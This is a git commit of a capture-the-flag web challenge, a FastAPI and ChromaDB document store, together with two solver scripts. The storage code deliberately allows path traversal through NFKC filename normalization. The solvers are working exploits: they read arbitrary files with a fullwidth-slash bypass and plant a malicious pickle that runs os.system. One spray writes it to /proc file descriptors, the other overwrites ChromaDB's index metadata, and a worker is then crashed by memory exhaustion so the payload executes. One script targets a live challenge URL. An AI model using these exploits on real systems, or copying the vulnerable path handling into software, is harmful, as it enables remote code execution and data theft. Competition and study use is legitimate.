cscg ist super

This commit is contained in:
2026-04-10 03:31:12 +02:00
parent 7a9dfeda60
commit db0324c43d
99 changed files with 92358 additions and 0 deletions

View File

@@ -0,0 +1,37 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
.venv/
venv/
# ChromaDB
chroma-data/
# Uploaded documents
docs/
# Git
.git/
.gitignore
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Docker
Dockerfile
.dockerignore
compose.yml
# Environment
.env
.env.local

28
2026/cscg/web/knowledge-base/.gitignore vendored Normal file
View File

@@ -0,0 +1,28 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
.venv/
venv/
# ChromaDB
chroma-data/
# Uploaded documents
docs/
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Environment
.env
.env.local

View File

@@ -0,0 +1,46 @@
FROM ghcr.io/astral-sh/uv:python3.13-bookworm-slim
RUN apt-get update && \
apt-get install -y --no-install-recommends \
g++ \
strace \
&& rm -rf /var/lib/apt/lists/*
COPY readflag.c .
RUN gcc -o /readflag -static readflag.c && \
chown root:root /readflag && \
chmod +s /readflag && \
rm readflag.c
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=root:root pyproject.toml ./
RUN uv pip install --system --no-cache -r pyproject.toml
# Cache embedding model
ENV HOME=/home/appuser
RUN mkdir -p /home/appuser/.cache/chroma/onnx_models && \
python3 -c "from chromadb.utils.embedding_functions import ONNXMiniLM_L6_V2; ONNXMiniLM_L6_V2()(['test'])" && \
chown -R root:root /home/appuser/.cache && \
chmod -R 755 /home/appuser/.cache
COPY --chown=root:root flag.txt /flag.txt
RUN chmod 400 /flag.txt
COPY --chown=root:root src/*.py ./
COPY --chown=root:root src/static ./static
RUN mkdir -p /chroma-data /docs && \
chown appuser:appuser /chroma-data /docs && \
chmod 777 /chroma-data /docs
RUN chown -R root:root /app && \
chmod 444 /app/pyproject.toml /app/*.py && \
chmod 555 /app /app/static
USER appuser
EXPOSE 8000
ENV PYTHONUNBUFFERED=1
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000", "--workers", "2"]

View File

@@ -0,0 +1,17 @@
services:
app:
build: .
restart: unless-stopped
ports:
- "8000:8000"
volumes:
- chroma-data:/chroma-data
- docs-data:/docs
deploy:
resources:
limits:
memory: 512M
volumes:
chroma-data:
docs-data:

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
CSCG{fake}

View File

@@ -0,0 +1,99 @@
import asyncio
import httpx
import urllib.parse
import os
import pickle
import concurrent.futures
import requests
BASE_URL = "http://localhost:8000"
def write_file(target_path: str, content: str, verbose: bool = False) -> str:
url = f"{BASE_URL}/api/docs"
files = {
'file': (target_path, content.encode('utf-8'), 'text/plain')
}
if verbose:
print(f"[*] Attempting to write to {target_path}...")
try:
response = requests.post(url, files=files)
if response.status_code == 200:
doc_id = response.json().get('doc_id')
if verbose:
print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
return doc_id
else:
if verbose:
print(f"[-] Failed to write. Status: {response.status_code}")
print(f"[-] Response: {response.text}")
return None
except requests.exceptions.RequestException as e:
if verbose:
print(f"[-] Connection error: {e}")
return None
async def async_worker(client, url, files):
while True:
try:
await client.post(url, files=files)
except Exception:
continue
async def spray_fd_async(target_fds, payload, workers_per_fd=20):
url = f"{BASE_URL}/api/docs"
limits = httpx.Limits(max_keepalive_connections=100, max_connections=200)
async with httpx.AsyncClient(limits=limits, timeout=None) as client:
tasks = []
for fd in target_fds:
print(f"[*] Starting {workers_per_fd} workers for fd {fd}")
files = {'file': (f"/proc/1/fd/{fd}", payload, 'text/plain')}
for _ in range(workers_per_fd):
tasks.append(async_worker(client, url, files))
await asyncio.gather(*tasks)
def read_file(target_path: str, verbose: bool = False) -> str:
nfkc_path = target_path.replace('/', '\uFF0F')
encoded_path = urllib.parse.quote(nfkc_path)
url = f"{BASE_URL}/api/docs/{encoded_path}"
if verbose:
print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
try:
response = requests.get(url)
if response.status_code == 200:
if verbose:
print(f"[+] Success! Read {len(response.text)} bytes.")
return response.text
return None
except requests.exceptions.RequestException:
return None
def kill_worker():
with open("./emojis.txt", "r") as f:
garbage_payload = f.read()
print("[*] Killing worker with OOM...")
write_file("/docs/oom.txt", garbage_payload)
def exploit():
class Exploit:
def __reduce__(self):
return (os.system, ("/readflag > /docs/flag.txt",))
payload = Exploit()
ascii_pickle = pickle.dumps(payload, protocol=0)
fd_list = range(11, 18)
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
executor.submit(kill_worker)
try:
print("[*] Launching async FD spray...")
asyncio.run(spray_fd_async(fd_list, ascii_pickle))
except KeyboardInterrupt:
print("\n[*] Spray stopped. Checking for flag...")
return read_file("/docs/flag.txt", verbose=True)
if __name__ == "__main__":
print(exploit())

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,13 @@
[project]
name = "knowledge-base"
version = "0.1.0"
requires-python = "==3.13.*"
dependencies = [
"aiohttp>=3.13.5",
"chroma-hnswlib>=0.7.6",
"chromadb>=1.4.1",
"fastapi>=0.115.0",
"httpx>=0.28.1",
"python-multipart>=0.0.9",
"uvicorn>=0.32.0",
]

View File

@@ -0,0 +1,17 @@
#include <stdio.h>
int main(void) {
char flag[256] = {0};
FILE* fp = fopen("/flag.txt", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fread(flag, 1, 256, fp) < 0) {
perror("fread");
return 1;
}
puts(flag);
fclose(fp);
return 0;
}

View File

@@ -0,0 +1,88 @@
import requests
import urllib.parse
import os
import pickle
import re
import time
#BASE_URL = "http://localhost:8000"
BASE_URL = "https://24ymje4oe2ebyoe46fjxoejq2b-8000-knowledge-base.challenge.cscg.live/"
def write_file(target_path: str, content: str, verbose: bool = False) -> str:
url = f"{BASE_URL}/api/docs"
files = {
'file': (target_path, content.encode('utf-8'), 'text/plain')
}
if verbose:
print(f"[*] Attempting to write to {target_path}...")
try:
response = requests.post(url, files=files)
if response.status_code == 200:
doc_id = response.json().get('doc_id')
if verbose:
print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
return doc_id
else:
if verbose:
print(f"[-] Failed to write. Status: {response.status_code}")
print(f"[-] Response: {response.text}")
return None
except requests.exceptions.RequestException as e:
if verbose:
print(f"[-] Connection error: {e}")
return None
def read_file(target_path: str, verbose: bool = False) -> str:
nfkc_path = target_path.replace('/', '\uFF0F')
encoded_path = urllib.parse.quote(nfkc_path)
url = f"{BASE_URL}/api/docs/{encoded_path}"
if verbose:
print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
try:
response = requests.get(url)
if response.status_code == 200:
if verbose:
print(f"[+] Success! Read {len(response.text)} bytes.")
return response.text
else:
if verbose:
print(f"[-] Failed to read. Status: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
if verbose:
print(f"[-] Connection error: {e}")
return None
def kill_worker():
with open("./emojis.txt") as f:
garbage_payload = f.read()
print("Killing worker")
write_file("/docs/oom.txt", garbage_payload)
def get_payload():
class Exploit:
def __reduce__(self):
return (os.system, ("/readflag > /docs/flag.txt",))
payload = Exploit()
return pickle.dumps(payload, protocol=0)
if __name__ == "__main__":
content = read_file("/chroma-data/chroma.sqlite3", verbose=True)
pattern = r"([0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})urn:chroma:segment/vector"
uuid = re.findall(pattern, content)[0]
write_file("/docs/make_folder.txt", "filler to make the folder", verbose=True)
write_file(f"/chroma-data/{uuid}/index_metadata.pickle", get_payload().decode(), verbose=True)
kill_worker()
time.sleep(5)
print(read_file("/docs/flag.txt"))

View File

@@ -0,0 +1,60 @@
from pathlib import Path
from typing import Dict, Any
from fastapi import FastAPI, UploadFile, HTTPException
from fastapi.responses import FileResponse, Response
from pydantic import BaseModel
from storage import extract_text, get_doc_path
from db import get_all_docs, query_docs, get_doc, delete_doc, add_doc
app = FastAPI()
@app.get("/")
async def read_root():
return FileResponse(Path(__file__).parent / "static" / "index.html")
@app.post("/api/docs")
async def upload_doc(file: UploadFile) -> Dict[str, str]:
content = await file.read()
doc = extract_text(file.filename, content)
doc_uuid = doc.id
get_doc_path(doc.filename).write_text(doc.content)
add_doc(doc)
return {"doc_id": doc_uuid, "message": "Document uploaded and indexed successfully"}
@app.get("/api/docs")
async def list_docs() -> Dict[str, Any]:
documents = get_all_docs()
return {"documents": documents, "count": len(documents)}
@app.delete("/api/docs/{doc_id}")
async def remove_doc(doc_id: str) -> Dict[str, str]:
result = get_doc(doc_id)
if not result or not result.get('ids') or len(result['ids']) == 0:
raise HTTPException(status_code=404, detail=f"Document {doc_id} not found")
metadata = result["metadatas"][0]
filename = metadata["filename"]
file_path = get_doc_path(filename)
if file_path.exists():
file_path.unlink()
delete_doc(doc_id)
return {"doc_id": doc_id, "message": "Document removed successfully"}
@app.get("/api/docs/{filename}")
async def get_doc_file(filename: str) -> Response:
file_path = get_doc_path(filename)
if not file_path.exists():
raise HTTPException(status_code=404, detail=f"Document {filename} not found")
content = file_path.read_bytes()
return Response(content=content, media_type="text/plain")
class QueryRequest(BaseModel):
query: str
@app.post("/api/query")
async def query(req: QueryRequest) -> Dict[str, Any]:
matches = query_docs(req.query)
return {"matches": matches, "count": len(matches)}
if __name__ == "__main__":
import uvicorn
uvicorn.run("app:app", host="127.0.0.1", port=8000, workers=2)

View File

@@ -0,0 +1,57 @@
from pathlib import Path
import chromadb
from chromadb.config import Settings
from storage import Doc
client = chromadb.Client(
Settings(
chroma_api_impl="chromadb.api.segment.SegmentAPI",
chroma_sysdb_impl="chromadb.db.impl.sqlite.SqliteDB",
chroma_producer_impl="chromadb.db.impl.sqlite.SqliteDB",
chroma_consumer_impl="chromadb.db.impl.sqlite.SqliteDB",
chroma_segment_manager_impl="chromadb.segment.impl.manager.local.LocalSegmentManager",
is_persistent=True,
persist_directory=(Path(__file__).parent.parent / "chroma-data").as_posix(),
)
)
docs = client.get_or_create_collection('documents')
def get_all_docs():
result = docs.get()
documents = []
if result and result.get("ids"):
for i, doc_id in enumerate(result["ids"]):
metadata = result["metadatas"][i] if result.get("metadatas") else {}
documents.append({
"doc_id": doc_id,
"filename": metadata["filename"],
})
return documents
def get_doc(doc_id: str):
return docs.get(ids=[doc_id])
def add_doc(doc: Doc):
docs.add(
documents=[doc.content],
metadatas=[{"uuid": doc.id, "filename": doc.filename}],
ids=[doc.id],
)
def delete_doc(doc_id: str):
docs.delete(ids=[doc_id])
def query_docs(query: str):
results = docs.query(query_texts=[query], n_results=10)
matches = []
if results and results.get('ids'):
for i, doc_id in enumerate(results['ids'][0]):
match = {
"doc_id": doc_id,
"distance": results['distances'][0][i],
"document": results['documents'][0][i],
"metadata": results['metadatas'][0][i],
}
matches.append(match)
return matches

View File

@@ -0,0 +1,405 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Knowledge Base</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-50 dark:bg-stone-950 opacity-0">
<div id="container" class="flex flex-row h-screen max-w-7xl mx-auto p-4 gap-4 items-stretch">
<!-- Left Sidebar: Upload & Documents -->
<div id="uploadSection" class="w-80 h-full flex flex-col bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700 px-6 py-4 rounded-2xl">
<div class="flex items-center justify-between mb-3">
<div>
<h1 class="text-xl font-semibold text-gray-900 dark:text-stone-100">Knowledge Base</h1>
<p class="text-xs text-gray-500 dark:text-stone-400 mt-1">Upload and search your documents</p>
</div>
</div>
<div id="dropZone" class="border-2 border-dashed border-gray-300 dark:border-stone-600 rounded-xl p-6 text-center hover:border-gray-400 dark:hover:border-stone-500 transition cursor-pointer bg-gray-50 dark:bg-stone-800/30 mb-3">
<svg id="uploadIcon" class="mx-auto h-10 w-10 text-gray-400 dark:text-stone-500" stroke="currentColor" fill="none" viewBox="0 0 48 48">
<path d="M28 8H12a4 4 0 00-4 4v20m32-12v8m0 0v8a4 4 0 01-4 4H12a4 4 0 01-4-4v-4m32-4l-3.172-3.172a4 4 0 00-5.656 0L28 28M8 32l9.172-9.172a4 4 0 015.656 0L28 28m0 0l4 4m4-24h8m-4-4v8m-12 4h.02" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
<p id="uploadText" class="mt-2 text-sm text-gray-600 dark:text-stone-300">
<span class="font-semibold">Click to upload</span> or drag and drop
</p>
<input type="file" id="fileInput" class="hidden" multiple>
</div>
<!-- Uploaded Documents List -->
<div id="documentsListContainer" class="hidden flex-1 flex flex-col min-h-0">
<div class="flex items-center justify-between mb-3">
<p class="text-xs font-medium text-gray-700 dark:text-stone-300">Uploaded Documents</p>
<p id="docCount" class="text-xs text-gray-500 dark:text-stone-400"></p>
</div>
<div id="documentsList" class="space-y-2 flex-1 overflow-y-auto"></div>
</div>
</div>
<!-- Right Side: Search Section -->
<div id="chatSection" class="flex-1 flex flex-col min-h-0 bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700 rounded-2xl overflow-hidden opacity-0 scale-95" style="display: none;">
<!-- Search Input -->
<div class="border-b border-gray-200 dark:border-stone-700 px-6 py-4">
<div class="relative">
<input type="text" id="searchInput" placeholder="Search documents..." class="w-full px-4 py-2 pr-12 border border-gray-300 dark:border-stone-600 bg-white dark:bg-stone-800 text-gray-900 dark:text-stone-100 placeholder-gray-500 dark:placeholder-stone-400 rounded-lg focus:outline-none focus:ring-2 focus:ring-gray-400 dark:focus:ring-stone-500" onkeypress="if(event.key==='Enter') searchDocuments()">
<button onclick="searchDocuments()" class="absolute right-2 top-1/2 -translate-y-1/2 p-2 text-gray-600 dark:text-stone-400 hover:text-gray-900 dark:hover:text-stone-100 transition">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path>
</svg>
</button>
</div>
</div>
<!-- Messages Area -->
<div class="flex-1 overflow-y-auto px-6 py-4 space-y-4" id="messages">
<!-- Messages will appear here -->
</div>
</div>
</div>
<!-- Document View Modal -->
<div id="docModal" class="hidden fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 p-4" onclick="if(event.target===this) closeDocModal()">
<div class="bg-white dark:bg-stone-900 rounded-2xl shadow-2xl max-w-4xl w-full max-h-[90vh] flex flex-col">
<div class="flex items-center justify-between px-6 py-4 border-b border-gray-200 dark:border-stone-700">
<h2 id="docModalTitle" class="text-lg font-semibold text-gray-900 dark:text-stone-100 truncate"></h2>
<button onclick="closeDocModal()" class="p-2 text-gray-500 hover:text-gray-700 dark:text-stone-400 dark:hover:text-stone-200 hover:bg-gray-100 dark:hover:bg-stone-800 rounded-lg transition">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
</svg>
</button>
</div>
<div class="flex-1 overflow-y-auto px-6 py-4">
<pre id="docModalContent" class="text-sm font-mono text-gray-900 dark:text-stone-100 whitespace-pre-wrap break-words"></pre>
</div>
</div>
</div>
<script>
const messagesContainer = document.getElementById('messages');
const dropZone = document.getElementById('dropZone');
const fileInput = document.getElementById('fileInput');
const documentsList = document.getElementById('documentsList');
let uploadedDocs = [];
// Drag and drop handlers
dropZone.addEventListener('click', () => fileInput.click());
dropZone.addEventListener('dragover', (e) => {
e.preventDefault();
dropZone.classList.add('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
});
dropZone.addEventListener('dragleave', () => {
dropZone.classList.remove('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
});
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
dropZone.classList.remove('border-gray-400', 'dark:border-stone-500', 'bg-gray-100', 'dark:bg-stone-800/50');
const files = e.dataTransfer.files;
if (files.length > 0) {
fileInput.files = files;
uploadFile();
}
});
fileInput.addEventListener('change', () => {
if (fileInput.files.length > 0) {
uploadFile();
}
});
// Load existing documents on page load
async function loadDocuments() {
try {
const response = await fetch(`/api/docs`);
const data = await response.json();
if (response.ok && data.documents) {
uploadedDocs = data.documents.map(doc => ({
id: doc.doc_id,
filename: doc.filename
}));
updateDocumentsList();
}
} catch (error) {
console.error('Error loading documents:', error);
}
}
// Load documents when page loads
loadDocuments().then(() => {
updateLayout(true);
// Show page after layout is set
document.body.classList.remove('opacity-0');
});
function updateLayout(skipAnimation = false) {
const container = document.getElementById('container');
const uploadSection = document.getElementById('uploadSection');
const chatSection = document.getElementById('chatSection');
if (uploadedDocs.length === 0) {
// Compact centered upload section when no docs
// Keep flex-row but center the upload section
container.classList.add('justify-center', 'items-center');
container.classList.remove('justify-start', 'items-stretch');
uploadSection.classList.remove('w-80', 'h-full');
uploadSection.classList.add('max-w-2xl', 'w-full');
chatSection.style.display = 'none';
chatSection.classList.add('opacity-0', 'scale-95');
chatSection.classList.remove('opacity-100', 'scale-100');
} else {
// Show two-panel layout with full-height sidebar
container.classList.remove('justify-center', 'items-center');
container.classList.add('justify-start', 'items-stretch');
uploadSection.classList.remove('max-w-2xl', 'w-full');
uploadSection.classList.add('w-80', 'h-full');
chatSection.style.display = 'flex';
chatSection.classList.remove('opacity-0', 'scale-95');
chatSection.classList.add('opacity-100', 'scale-100');
}
// Enable transitions after initial layout (only on first call)
if (skipAnimation) {
requestAnimationFrame(() => {
container.classList.add('transition-all', 'duration-500');
uploadSection.classList.add('transition-all', 'duration-500');
chatSection.classList.add('transition-all', 'duration-500');
});
}
}
function updateDocumentsList() {
const dropZone = document.getElementById('dropZone');
const uploadIcon = document.getElementById('uploadIcon');
const uploadText = document.getElementById('uploadText');
const documentsListContainer = document.getElementById('documentsListContainer');
const docCount = document.getElementById('docCount');
if (uploadedDocs.length === 0) {
// Expand drop zone when empty
dropZone.classList.remove('p-3');
dropZone.classList.add('p-6');
uploadIcon.classList.remove('hidden', 'h-6', 'w-6');
uploadIcon.classList.add('h-10', 'w-10');
uploadText.classList.remove('hidden');
documentsListContainer.classList.add('hidden');
documentsList.innerHTML = '';
return;
}
// Compact drop zone when files exist
dropZone.classList.remove('p-6');
dropZone.classList.add('p-3');
uploadIcon.classList.remove('h-10', 'w-10');
uploadIcon.classList.add('h-6', 'w-6');
uploadText.classList.add('hidden');
documentsListContainer.classList.remove('hidden');
docCount.textContent = `${uploadedDocs.length} file${uploadedDocs.length !== 1 ? 's' : ''}`;
documentsList.innerHTML = uploadedDocs.map(doc => `
<div class="flex items-center justify-between p-2 bg-gray-50 dark:bg-stone-800/50 rounded border border-gray-200 dark:border-stone-700 hover:border-gray-300 dark:hover:border-stone-600 transition">
<div class="flex-1 min-w-0 mr-2 cursor-pointer" onclick="viewDocument('${doc.id}', '${doc.filename.replace(/'/g, "\\'")}')">
<p class="text-xs font-medium text-gray-900 dark:text-stone-100 truncate">${doc.filename}</p>
</div>
<button onclick="event.stopPropagation(); deleteDocFromList('${doc.id}')" class="ml-2 p-1.5 text-gray-500 hover:text-gray-700 dark:text-stone-400 dark:hover:text-stone-200 hover:bg-gray-200 dark:hover:bg-stone-700/50 rounded transition flex-shrink-0" title="Delete">
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"></path>
</svg>
</button>
</div>
`).join('');
updateLayout();
}
function addMessage(content, type = 'info') {
const messageDiv = document.createElement('div');
messageDiv.className = 'p-4 rounded-lg ' +
(type === 'error' ? 'bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50' :
type === 'success' ? 'bg-green-50 dark:bg-green-950/50 border border-green-200 dark:border-green-900/50' :
type === 'user' ? 'bg-blue-50 dark:bg-blue-950/50 border border-blue-200 dark:border-blue-900/50 ml-12' :
type === 'results' ? '' :
'bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700');
messageDiv.innerHTML = content;
messagesContainer.appendChild(messageDiv);
messagesContainer.scrollTop = messagesContainer.scrollHeight;
}
async function uploadFile() {
const files = Array.from(fileInput.files);
if (files.length === 0) {
return;
}
// Upload files sequentially
for (const file of files) {
const formData = new FormData();
formData.append('file', file);
try {
const response = await fetch(`/api/docs`, {
method: 'POST',
body: formData
});
const data = await response.json();
if (response.ok) {
uploadedDocs.push({
id: data.doc_id,
filename: file.name
});
updateDocumentsList();
} else {
console.error(`Error uploading ${file.name}: ${data.detail}`);
}
} catch (error) {
console.error(`Error uploading ${file.name}: ${error.message}`);
}
}
fileInput.value = '';
}
async function searchDocuments() {
const searchInput = document.getElementById('searchInput');
const query = searchInput.value.trim();
if (!query) {
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Please enter a search query</p></div>';
return;
}
// Show loading state
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700"><p class="text-gray-600 dark:text-stone-300">Searching...</p></div>';
try {
const response = await fetch(`/api/query`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ query })
});
const data = await response.json();
if (response.ok) {
if (data.count === 0) {
messagesContainer.innerHTML = '<div class="p-4 rounded-lg bg-white dark:bg-stone-900 border border-gray-200 dark:border-stone-700"><p class="text-gray-600 dark:text-stone-300">No documents found matching your query</p></div>';
} else {
let resultsHTML = `<div><p class="font-medium text-gray-900 dark:text-stone-100 mb-3">Found ${data.count} result(s):</p>`;
data.matches.forEach((match, idx) => {
const preview = match.document ? match.document.substring(0, 200) + '...' : 'No preview';
const filename = match.metadata?.filename || 'Unknown';
const docId = match.doc_id;
resultsHTML += `
<div class="mb-3 p-3 bg-gray-50 dark:bg-stone-800/50 rounded-lg border border-gray-200 dark:border-stone-600 cursor-pointer hover:bg-gray-100 dark:hover:bg-stone-800" onclick="viewDocument('${docId}', '${filename.replace(/'/g, "\\'")}')">
<div class="flex justify-between items-start mb-2">
<div class="flex-1">
<p class="text-sm font-medium text-gray-900 dark:text-stone-100">${idx + 1}. ${filename}</p>
<p class="text-xs text-gray-500 dark:text-stone-400">Distance: ${match.distance?.toFixed(4) || 'N/A'}</p>
</div>
</div>
<p class="text-sm text-gray-700 dark:text-stone-300 mt-2">${preview}</p>
</div>
`;
});
resultsHTML += '</div>';
messagesContainer.innerHTML = resultsHTML;
}
} else {
messagesContainer.innerHTML = `<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p></div>`;
}
} catch (error) {
messagesContainer.innerHTML = `<div class="p-4 rounded-lg bg-red-50 dark:bg-red-950/50 border border-red-200 dark:border-red-900/50"><p class="text-red-700 dark:text-red-400">Error searching: ${error.message}</p></div>`;
}
}
async function deleteDocFromList(docId) {
try {
const response = await fetch(`/api/docs/${docId}`, {
method: 'DELETE'
});
const data = await response.json();
if (response.ok) {
uploadedDocs = uploadedDocs.filter(doc => doc.id !== docId);
updateDocumentsList();
} else {
addMessage(`<p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p>`, 'error');
}
} catch (error) {
addMessage(`<p class="text-red-700 dark:text-red-400">Error deleting document: ${error.message}</p>`, 'error');
}
}
async function deleteDoc(docId) {
if (!confirm('Are you sure you want to delete this document?')) {
return;
}
try {
const response = await fetch(`/docs/${docId}`, {
method: 'DELETE'
});
const data = await response.json();
if (response.ok) {
addMessage(`<p class="text-green-700 dark:text-green-400">Document deleted successfully (ID: ${docId})</p>`, 'success');
} else {
addMessage(`<p class="text-red-700 dark:text-red-400">Error: ${data.detail}</p>`, 'error');
}
} catch (error) {
addMessage(`<p class="text-red-700 dark:text-red-400">Error deleting document: ${error.message}</p>`, 'error');
}
}
async function viewDocument(docId, filename) {
const modal = document.getElementById('docModal');
const title = document.getElementById('docModalTitle');
const content = document.getElementById('docModalContent');
title.textContent = filename;
content.textContent = 'Loading...';
modal.classList.remove('hidden');
try {
const response = await fetch(`/api/docs/${encodeURIComponent(filename)}`);
if (response.ok) {
const text = await response.text();
content.textContent = text || 'No content available';
} else {
const errorData = await response.json();
content.textContent = `Error: ${errorData.detail}`;
}
} catch (error) {
content.textContent = `Error loading document: ${error.message}`;
}
}
function closeDocModal() {
document.getElementById('docModal').classList.add('hidden');
}
// Close modal on Escape key
document.addEventListener('keydown', (e) => {
if (e.key === 'Escape') {
closeDocModal();
}
});
</script>
</body>
</html>

View File

@@ -0,0 +1,25 @@
from dataclasses import dataclass
from pathlib import Path
import re
import unicodedata
import uuid
DOCS_DIR = Path(__file__).parent.parent / "docs"
DOCS_DIR.mkdir(exist_ok=True)
@dataclass
class Doc:
id: str
filename: str
content: str
def extract_text(filename: str, content: bytes) -> Doc:
text = content.decode("utf-8", errors="ignore")
text = unicodedata.normalize("NFKC", text)
text = re.sub(r"[^\x20-\x7E\t\n\r]+", " ", text)
sanitized = unicodedata.normalize("NFKC", filename)
return Doc(id=str(uuid.uuid4()), filename=sanitized, content=text)
def get_doc_path(filename: str) -> Path:
sanitized = unicodedata.normalize("NFKC", filename)
return DOCS_DIR / sanitized

1496
2026/cscg/web/knowledge-base/uv.lock generated Normal file

File diff suppressed because it is too large Load Diff